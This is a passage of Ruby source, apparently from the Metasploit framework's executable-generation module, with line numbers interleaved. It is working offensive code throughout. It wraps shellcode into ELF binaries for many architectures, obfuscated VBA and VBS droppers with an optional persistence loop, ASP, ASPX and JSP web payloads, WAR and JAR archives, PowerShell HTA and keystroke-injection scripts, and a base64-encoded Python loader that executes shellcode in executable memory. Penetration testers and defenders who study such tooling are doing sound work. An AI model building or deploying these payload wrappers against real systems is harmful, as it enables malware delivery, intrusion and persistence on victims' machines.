zip.add_file("#{app_name}/Contents/", '')
1007
zip.add_file("#{app_name}/Contents/Resources/", '')
1008
zip.add_file("#{app_name}/Contents/MacOS/", '')
1009
# Add the macho and mark it as executable
1010
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
1011
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
1012
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
1013
zip.pack
1014
end
1015
1016
# Create an ELF executable containing the payload provided in +code+
1017
#
1018
# For the default template, this method just appends the payload, checks if
1019
# the template is 32 or 64 bit and adjusts the offsets accordingly
1020
# For user-provided templates, modifies the header to mark all executable
1021
# segments as writable and overwrites the entrypoint (usually _start) with
1022
# the payload.
1023
# @param framework [Msf::Framework] The framework of you want to use
1024
# @param opts [Hash]
1025
# @option [String] :template
1026
# @param template [String]
1027
# @param code [String]
1028
# @param big_endian [Boolean] Set to "false" by default
1029
# @return [String]
1030
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
1031
if elf? code
1032
return code
1033
end
1034
1035
# Allow the user to specify their own template
1036
set_template_default(opts, template)
1037
1038
# The old way to do it is like other formats, just overwrite a big
1039
# block of rwx mem with our shellcode.
1040
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
1041
#co = elf.index( " " * 512 )
1042
#elf[bo, 2048] = [code].pack('a2048') if bo
1043
1044
# The new template is just an ELF header with its entry point set to
1045
# the end of the file, so just append shellcode to it and fixup
1046
# p_filesz and p_memsz in the header for a working ELF executable.
1047
elf = self.get_file_contents(opts[:template])
1048
elf << code
1049
1050
# Check EI_CLASS to determine if the header is 32 or 64 bit
1051
# Use the proper offsets and pack size
1052
case elf[4,1].unpack("C").first
1053
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
1054
if big_endian
1055
elf[0x44,4] = [elf.length].pack('N') #p_filesz
1056
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
1057
else # little endian
1058
elf[0x44,4] = [elf.length].pack('V') #p_filesz
1059
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
1060
end
1061
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
1062
if big_endian
1063
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
1064
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
1065
else # little endian
1066
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
1067
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
1068
end
1069
else
1070
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
1071
end
1072
1073
elf
1074
end
1075
1076
# Create a 32-bit Linux ELF containing the payload provided in +code+
1077
#
1078
# @param framework [Msf::Framework] The framework of you want to use
1079
# @param code [String]
1080
# @param opts [Hash]
1081
# @option [String] :template
1082
# @return [String] Returns an elf
1083
def self.to_linux_x86_elf(framework, code, opts = {})
1084
default = true unless opts[:template]
1085
1086
if default
1087
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
1088
else
1089
# Use set_template_default to normalize the :template key. It will just end up doing
1090
# opts[:template] = File.join(opts[:template_path], opts[:template])
1091
# for us, check if the file exists.
1092
set_template_default(opts, 'template_x86_linux.bin')
1093
1094
# If this isn't our normal template, we have to do some fancy
1095
# header patching to mark the .text section rwx before putting our
1096
# payload into the entry point.
1097
1098
# read in the template and parse it
1099
e = Metasm::ELF.decode_file(opts[:template])
1100
1101
# This will become a modified copy of the template's original phdr
1102
new_phdr = Metasm::EncodedData.new
1103
e.segments.each { |s|
1104
# Be lazy and mark any executable segment as writable. Doing
1105
# it this way means we don't have to care about which one
1106
# contains .text
1107
s.flags += [ "W" ] if s.flags.include? "X"
1108
new_phdr << s.encode(e)
1109
}
1110
1111
# Copy the original file
1112
elf = self.get_file_contents(opts[:template], "rb")
1113
1114
# Replace the header with our rwx modified version
1115
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
1116
1117
# Replace code at the entrypoint with our payload
1118
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
1119
elf[entry_off, code.length] = code
1120
end
1121
1122
elf
1123
end
1124
1125
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
1126
#
1127
# @param framework [Msf::Framework]
1128
# @param code [String]
1129
# @param opts [Hash]
1130
# @option [String] :template
1131
# @return [String] Returns an elf
1132
def self.to_bsd_x86_elf(framework, code, opts = {})
1133
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
1134
end
1135
1136
# Create a 64-bit Linux ELF containing the payload provided in +code+
1137
#
1138
# @param framework [Msf::Framework]
1139
# @param code [String]
1140
# @param opts [Hash]
1141
# @option [String] :template
1142
# @return [String] Returns an elf
1143
def self.to_bsd_x64_elf(framework, code, opts = {})
1144
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
1145
end
1146
1147
# Create a 32-bit Solaris ELF containing the payload provided in +code+
1148
#
1149
# @param framework [Msf::Framework]
1150
# @param code [String]
1151
# @param opts [Hash]
1152
# @option [String] :template
1153
# @return [String] Returns an elf
1154
def self.to_solaris_x86_elf(framework, code, opts = {})
1155
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
1156
end
1157
1158
# Create a 64-bit Linux ELF containing the payload provided in +code+
1159
#
1160
# @param framework [Msf::Framework]
1161
# @param code [String]
1162
# @param opts [Hash]
1163
# @option [String] :template
1164
# @return [String] Returns an elf
1165
def self.to_linux_x64_elf(framework, code, opts = {})
1166
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
1167
end
1168
1169
# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+
1170
#
1171
# @param framework [Msf::Framework]
1172
# @param code [String]
1173
# @param opts [Hash]
1174
# @option [String] :template
1175
# @return [String] Returns an elf
1176
def self.to_linux_x86_elf_dll(framework, code, opts = {})
1177
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
1178
end
1179
1180
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
1181
#
1182
# @param framework [Msf::Framework]
1183
# @param code [String]
1184
# @param opts [Hash]
1185
# @option [String] :template
1186
# @return [String] Returns an elf
1187
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
1188
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
1189
end
1190
1191
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
1192
#
1193
# @param framework [Msf::Framework]
1194
# @param code [String]
1195
# @param opts [Hash]
1196
# @option [String] :template
1197
# @return [String] Returns an elf
1198
def self.to_linux_x64_elf_dll(framework, code, opts = {})
1199
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
1200
end
1201
1202
# self.to_linux_armle_elf
1203
#
1204
# @param framework [Msf::Framework]
1205
# @param code [String]
1206
# @param opts [Hash]
1207
# @option [String] :template
1208
# @return [String] Returns an elf
1209
def self.to_linux_armle_elf(framework, code, opts = {})
1210
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
1211
end
1212
1213
# self.to_linux_armle_elf_dll
1214
#
1215
# @param framework [Msf::Framework]
1216
# @param code [String]
1217
# @param opts [Hash]
1218
# @option [String] :template
1219
# @return [String] Returns an elf-so
1220
def self.to_linux_armle_elf_dll(framework, code, opts = {})
1221
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
1222
end
1223
1224
# self.to_linux_aarch64_elf
1225
#
1226
# @param framework [Msf::Framework]
1227
# @param code [String]
1228
# @param opts [Hash]
1229
# @option [String] :template
1230
# @return [String] Returns an elf
1231
def self.to_linux_aarch64_elf(framework, code, opts = {})
1232
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
1233
end
1234
1235
# self.to_linux_mipsle_elf
1236
# Little Endian
1237
# @param framework [Msf::Framework]
1238
# @param code [String]
1239
# @param opts [Hash]
1240
# @option [String] :template
1241
# @return [String] Returns an elf
1242
def self.to_linux_mipsle_elf(framework, code, opts = {})
1243
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
1244
end
1245
1246
# self.to_linux_mipsbe_elf
1247
# Big Endian
1248
# @param framework [Msf::Framework]
1249
# @param code [String]
1250
# @param opts [Hash]
1251
# @option [String] :template
1252
# @return [String] Returns an elf
1253
def self.to_linux_mipsbe_elf(framework, code, opts = {})
1254
to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
1255
end
1256
1257
# Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+
1258
#
1259
# @param framework [Msf::Framework]
1260
# @param code [String]
1261
# @param opts [Hash]
1262
# @option [String] :template
1263
# @return [String] Returns an elf
1264
def self.to_linux_riscv64le_elf(framework, code, opts = {})
1265
to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code)
1266
end
1267
1268
# Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+
1269
#
1270
# @param framework [Msf::Framework]
1271
# @param code [String]
1272
# @param opts [Hash]
1273
# @option [String] :template
1274
# @return [String] Returns an elf
1275
def self.to_linux_riscv64le_elf_dll(framework, code, opts = {})
1276
to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code)
1277
end
1278
1279
# Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+
1280
#
1281
# @param framework [Msf::Framework]
1282
# @param code [String]
1283
# @param opts [Hash]
1284
# @option [String] :template
1285
# @return [String] Returns an elf
1286
def self.to_linux_riscv32le_elf(framework, code, opts = {})
1287
to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code)
1288
end
1289
1290
# Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+
1291
#
1292
# @param framework [Msf::Framework]
1293
# @param code [String]
1294
# @param opts [Hash]
1295
# @option [String] :template
1296
# @return [String] Returns an elf
1297
def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})
1298
to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code)
1299
end
1300
1301
# self.to_exe_vba
1302
#
1303
# @param exes [String]
1304
def self.to_exe_vba(exes='')
1305
exe = exes.unpack('C*')
1306
hash_sub = {}
1307
idx = 0
1308
maxbytes = 2000
1309
var_base_idx = 0
1310
var_base = Rex::Text.rand_text_alpha(5).capitalize
1311
1312
# First write the macro into the vba file
1313
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
1314
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
1315
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
1316
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
1317
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
1318
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
1319
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
1320
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
1321
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
1322
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
1323
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
1324
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
1325
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1326
1327
# Function 1 extracts the binary
1328
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
1329
1330
# Function 2 executes the binary
1331
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
1332
1333
hash_sub[:data] = ""
1334
1335
# Writing the bytes of the exe to the file
1336
1.upto(exe.length) do |pc|
1337
while c = exe[idx]
1338
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
1339
if idx > 1 && (idx % maxbytes) == 0
1340
# When maxbytes are written make a new paragrpah
1341
hash_sub[:data] << "\r\n"
1342
end
1343
idx += 1
1344
end
1345
end
1346
1347
read_replace_script_template("to_exe.vba.template", hash_sub)
1348
end
1349
1350
# self.to_vba
1351
#
1352
# @param framework [Msf::Framework]
1353
# @param code [String]
1354
# @param opts [Hash] Unused
1355
def self.to_vba(framework,code,opts = {})
1356
hash_sub = {}
1357
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1358
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1359
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1360
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1361
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1362
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1363
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1364
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1365
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1366
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1367
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1368
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1369
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1370
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1371
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1372
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1373
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1374
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1375
1376
# put the shellcode bytes into an array
1377
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
1378
1379
read_replace_script_template("to_mem.vba.template", hash_sub)
1380
end
1381
1382
# self.to_powershell_vba
1383
#
1384
# @param framework [Msf::Framework]
1385
# @param arch [String]
1386
# @param code [String]
1387
#
1388
def self.to_powershell_vba(framework, arch, code)
1389
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1390
1391
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1392
arch,
1393
template_path,
1394
encode_final_payload: true,
1395
remove_comspec: true,
1396
method: 'reflection')
1397
1398
# Initialize rig and value names
1399
rig = Rex::RandomIdentifier::Generator.new()
1400
rig.init_var(:sub_auto_open)
1401
rig.init_var(:var_powershell)
1402
1403
hash_sub = rig.to_h
1404
# VBA has a maximum of 24 line continuations
1405
line_length = powershell.length / 24
1406
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
1407
1408
hash_sub[:powershell] = vba_psh
1409
1410
read_replace_script_template("to_powershell.vba.template", hash_sub)
1411
end
1412
1413
# self.to_exe_vba
1414
#
1415
# @param exes [String]
1416
# @param opts [Hash]
1417
# @option opts [String] :delay
1418
# @option opts [String] :persists
1419
# @option opts [String] :exe_filename
1420
def self.to_exe_vbs(exes = '', opts = {})
1421
delay = opts[:delay] || 5
1422
persist = opts[:persist] || false
1423
1424
hash_sub = {}
1425
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
1426
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
1427
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
1428
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1429
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1430
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1431
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1432
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1433
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1434
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1435
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
1436
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
1437
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
1438
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
1439
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
1440
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1441
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
1442
hash_sub[:init] = ""
1443
1444
if persist
1445
hash_sub[:init] << "Do\r\n"
1446
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1447
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
1448
hash_sub[:init] << "Loop\r\n"
1449
else
1450
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1451
end
1452
1453
read_replace_script_template("to_exe.vbs.template", hash_sub)
1454
end
1455
1456
# self.to_exe_asp
1457
#
1458
# @param exes [String]
1459
# @param opts [Hash] Unused
1460
def self.to_exe_asp(exes = '', opts = {})
1461
hash_sub = {}
1462
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
1463
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1464
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1465
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
1466
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1467
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1468
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1469
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1470
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1471
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
1472
read_replace_script_template("to_exe.asp.template", hash_sub)
1473
end
1474
1475
# self.to_exe_aspx
1476
#
1477
# @param exes [String]
1478
# @option opts [Hash]
1479
def self.to_exe_aspx(exes = '', opts = {})
1480
hash_sub = {}
1481
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
1482
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1483
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1484
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1485
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1486
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
1487
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1488
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
1489
read_replace_script_template("to_exe.aspx.template", hash_sub)
1490
end
1491
1492
def self.to_mem_aspx(framework, code, exeopts = {})
1493
# Initialize rig and value names
1494
rig = Rex::RandomIdentifier::Generator.new()
1495
rig.init_var(:var_funcAddr)
1496
rig.init_var(:var_hThread)
1497
rig.init_var(:var_pInfo)
1498
rig.init_var(:var_threadId)
1499
rig.init_var(:var_bytearray)
1500
1501
hash_sub = rig.to_h
1502
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
1503
1504
read_replace_script_template("to_mem.aspx.template", hash_sub)
1505
end
1506
1507
def self.to_win32pe_psh_net(framework, code, opts={})
1508
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1509
end
1510
1511
def self.to_win32pe_psh(framework, code, opts = {})
1512
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1513
end
1514
1515
#
1516
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
1517
# Tweaked by shellster
1518
# Originally from PowerSploit
1519
#
1520
def self.to_win32pe_psh_reflection(framework, code, opts = {})
1521
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1522
end
1523
1524
def self.to_powershell_command(framework, arch, code)
1525
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1526
Rex::Powershell::Command.cmd_psh_payload(code,
1527
arch,
1528
template_path,
1529
encode_final_payload: true,
1530
method: 'reflection')
1531
end
1532
1533
def self.to_powershell_ducky_script(framework, arch, code)
1534
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1535
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1536
arch,
1537
template_path,
1538
encode_final_payload: true,
1539
method: 'reflection')
1540
replacers = {}
1541
replacers[:var_payload] = powershell
1542
read_replace_script_template("to_powershell.ducky_script.template", replacers)
1543
end
1544
1545
def self.to_powershell_hta(framework, arch, code)
1546
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1547
1548
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1549
arch,
1550
template_path,
1551
encode_final_payload: true,
1552
remove_comspec: true,
1553
method: 'reflection')
1554
1555
# Initialize rig and value names
1556
rig = Rex::RandomIdentifier::Generator.new()
1557
rig.init_var(:var_shell)
1558
rig.init_var(:var_fso)
1559
1560
hash_sub = rig.to_h
1561
hash_sub[:powershell] = powershell
1562
1563
read_replace_script_template("to_powershell.hta.template", hash_sub)
1564
end
1565
1566
def self.to_python_reflection(framework, arch, code, exeopts)
1567
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
1568
raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
1569
end
1570
python_code = <<~PYTHON
1571
#{Rex::Text.to_python(code)}
1572
import ctypes,os
1573
if os.name == 'nt':
1574
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
1575
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
1576
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
1577
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
1578
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
1579
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1580
else:
1581
import mmap
1582
from ctypes.util import find_library
1583
c = ctypes.CDLL(find_library('c'))
1584
c.mmap.restype = ctypes.c_void_p
1585
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
1586
ctypes.memmove(ptr,buf,len(buf))
1587
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
1588
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
1589
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1590
PYTHON
1591
1592
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
1593
end
1594
1595
def self.to_win32pe_psh_msil(framework, code, opts = {})
1596
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1597
end
1598
1599
def self.to_win32pe_psh_rc4(framework, code, opts = {})
1600
# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
1601
# this method should be called after other to_win32pe_psh_* methods to wrap the output
1602
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1603
end
1604
1605
def self.to_jsp(exe)
1606
hash_sub = {}
1607
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
1608
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
1609
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1610
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
1611
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1612
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
1613
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
1614
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1615
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
1616
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
1617
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
1618
1619
payload_hex = exe.unpack('H*')[0]
1620
hash_sub[:payload] = payload_hex
1621
1622
read_replace_script_template("to_exe.jsp.template", hash_sub)
1623
end
1624
1625
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1626
# payload. The jsp page converts the hexdump back to a normal binary file
1627
# and places it in the temp directory. The payload file is then executed.
1628
#
1629
# @see to_war
1630
# @param exe [String] Executable to drop and run.
1631
# @param opts (see to_war)
1632
# @option opts (see to_war)
1633
# @return (see to_war)
1634
def self.to_jsp_war(exe, opts = {})
1635
template = self.to_jsp(exe)
1636
self.to_war(template, opts)
1637
end
1638
1639
def self.to_win32pe_vbs(framework, code, opts = {})
1640
to_exe_vbs(to_win32pe(framework, code, opts), opts)
1641
end
1642
1643
def self.to_win64pe_vbs(framework, code, opts = {})
1644
to_exe_vbs(to_win64pe(framework, code, opts), opts)
1645
end
1646
1647
# Creates a jar file that drops the provided +exe+ into a random file name
1648
# in the system's temp dir and executes it.
1649
#
1650
# @see Msf::Payload::Java
1651
#
1652
# @return [Rex::Zip::Jar]
1653
def self.to_jar(exe, opts = {})
1654
spawn = opts[:spawn] || 2
1655
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
1656
zip = Rex::Zip::Jar.new
1657
zip.add_sub("metasploit") if opts[:random]
1658
paths = [
1659
[ "metasploit", "Payload.class" ],
1660
]
1661
1662
zip.add_file('metasploit/', '')
1663
paths.each do |path_parts|
1664
path = ['java', path_parts].flatten.join('/')
1665
contents = ::MetasploitPayloads.read(path)
1666
zip.add_file(path_parts.join('/'), contents)
1667
end
1668
1669
zip.build_manifest :main_class => "metasploit.Payload"
1670
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
1671
zip.add_file("metasploit.dat", config)
1672
zip.add_file(exe_name, exe)
1673
1674
zip
1675
end
1676
1677
# Creates a Web Archive (WAR) file from the provided jsp code.
1678
#
1679
# On Tomcat, WAR files will be deployed into a directory with the same name
1680
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
1681
# server is in a default configuration, deoployment will happen
1682
# automatically. See
1683
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
1684
# documentation} for a description of how this works.
1685
#
1686
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
1687
# in the archive. This will be compiled by the victim servlet container
1688
# (e.g., Tomcat) and act as the main function for the servlet.
1689
# @param opts [Hash]
1690
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
1691
# _without the .jsp extension_. Defaults to random.
1692
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
1693
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
1694
# random.
1695
# @option opts :extra_files [Array<String,String>] Additional files to add
1696
# to the archive. First element is filename, second is data
1697
#
1698
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
1699
#
1700
# @return [String]
1701
def self.to_war(jsp_raw, opts = {})
1702
jsp_name = opts[:jsp_name]
1703
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1704
app_name = opts[:app_name]
1705
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1706
1707
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
1708
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
1709
web_xml = %q{<?xml version="1.0"?>
1710
<!DOCTYPE web-app PUBLIC
1711
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
1712
"http://java.sun.com/dtd/web-app_2_3.dtd">
1713
<web-app>
1714
<servlet>
1715
<servlet-name>NAME</servlet-name>
1716
<jsp-file>/PAYLOAD.jsp</jsp-file>
1717
</servlet>
1718
</web-app>
1719
}
1720
web_xml.gsub!(/NAME/, app_name)
1721
web_xml.gsub!(/PAYLOAD/, jsp_name)
1722
1723
zip = Rex::Zip::Archive.new
1724
zip.add_file('META-INF/', '', meta_inf)
1725
zip.add_file('META-INF/MANIFEST.MF', manifest)
1726
zip.add_file('WEB-INF/', '')
1727
zip.add_file('WEB-INF/web.xml', web_xml)
1728
# add the payload
1729
zip.add_file("#{jsp_name}.jsp", jsp_raw)
1730
1731
# add extra files
1732
if opts[:extra_files]
1733
opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
1734
end
1735
1736
zip.pack
1737
end
1738
1739
# Creates a .NET DLL which loads data into memory
1740
# at a specified location with read/execute permissions
1741
# - the data will be loaded at: base+0x2065
1742
# - default max size is 0x8000 (32768)
1743
# @param base [Integer] Default location set to base 0x12340000
1744
# @param data [String]
1745
# @param opts [Hash]
1746
# @option [String] :template
1747
# @option [String] :base_offset
1748
# @option [String] :timestamp_offset
1749
# @option [String] :text_offset
1750
# @option [String] :pack
1751
# @option [String] :uuid_offset
1752
# @return [String]
1753
